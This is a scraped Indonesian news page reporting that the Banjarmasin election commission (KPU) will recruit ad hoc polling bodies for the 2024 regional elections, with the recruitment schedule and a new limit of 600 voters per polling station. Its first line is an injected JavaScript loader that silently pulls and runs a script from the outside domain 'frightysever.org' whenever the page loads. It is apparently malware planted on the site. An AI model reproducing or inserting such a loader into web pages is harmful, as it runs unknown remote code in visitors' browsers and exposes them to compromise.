(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jadwal penyelenggara Pemilihan Kepala Daerah (Pilkada) 2024 telah ditetapkan. Pelaksanan pemungutan suara Pilkada di seluruh Indonesia akan digelar pada hari Rabu, 27 November 2024.
Menghadapi Pilkada serentak itu, Komisi Pemilihan Umum (KPU) Kota Banjarmasin memastikan akan melakukan rekrutmen kembali badan ad hoc.
Pembentukan badan ad hoc terdiri dari Panitia Pengawas Kecamatan (PPK), Panitia Pemungutan Suara (PPS) tingkat kelurahan, dan Kelompok Penyelenggara Pemungutan Suara (KPPS) tingkat TPS.
“Ya, rekrutmen terbuka,” kata Ketua KPU Banjarmasin, Rusnailah mengonfirmasi pembentukan badan ad hoc penyelenggaraan Pilkada 2024 di Kota Banjarmasin, Jumat (19/4/2024) siang.
Baca juga: Juara Pertama Kampung KB 2024 Jadi Kado Hari Jadi ke-25 Kota Banjarbaru
Sementara terkait syarat dan tahapan penerimaan pendaftaran badan ad hoc secara detail menunggu edaran menunggu surat edaran resmi yang dikeluarkan KPU Banjarmasin.
“Nanti dibuat edaran dari KPU Kota Banjarmasin,” kata Rusnailah.
Mengacu Keputusan KPU Nomor 476 Tahun 2024, rekrutmen badan ad hoc penyelenggara Pemilu dimulai pembentukan PPK dengan tahapan pengumuman pendaftaran dari tanggal 23-27 April 2024. Sementara penerimaan pendaftaran calon PPK dibuka dari tanggal 23-29 April 2024. Kemudian ada perpanjangan pendaftaran dari 30 April-2 Mei 2024.
Baca juga: Ngamuk Pakai Parang di Sungai Tiung, ODGJ Dibawa ke Sambang Lihum
Calon Anggota PPK akan melewati proses seleksi administrasi, tertulis, dan wawancara. Kemudian calon Anggota PPK terpilih akan diumumkan pada tanggal 14-15 Mei 2024 dan pelantikan dijadwalkan pada 16 Mei 2024.
Kemudian penerimaan pendaftaran calon Anggota PPS dijadwalkan dibuka pada tanggal 2-8 Mei 2024. Sama seperti PPK, calon Anggota PPS juga dilakukan seleksi administrasi, tertulis, dan wawancara.
Tanggal 24-25 Mei merupakan waktu pengumuman calon Anggota PPS terpilih dan tanggal 26 Mei 2024 dilaksanakan pelantikan.
Sementara untuk pembentukan KPPS merupakan tugas Anggota PPS yang terpilih nanti. Dan tahapannya pun belum diumumkan.
Masih lanjut Ketua KPU Kota Banjarmasin, pada pelaksanaan Pilkada 2024 di Kota Banjarmasin akan terjadi perbedaan atau pengurangan jumlah TPS jika dibandingkan Pilpres dan Pileg 2024. Namun, ia tak menyebutkan detail jumlah pengurangan. Penyusutan itu terjadi karena jumlah daftar pemilih tetap (DPT) di setiap TPS pada Pilkada 2024 di Kota Banjarmasin lebih banyak.
Baca juga: Pasar Murah dan Launching Program “Rabu Penting” di Banjarbaru Utara
Khusus untuk Kota Banjarmasin pada pelaksanaan Pilkada 2024, Rusnailah membeberkan sementara ditetapkan dalam satu TPS ada 600 pemilih.
“(Kota Banjarmasin) 600 pemilih per TPS,” katanya.
Hal itu mengacu pada kebijakan baru jika sebelumnya pada pelaksanaan Pemilu 2024 satu TPS maksimal 300 pemilih, maka pada Pilkada 2024 satu TPS maksimal 800 pemilih. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.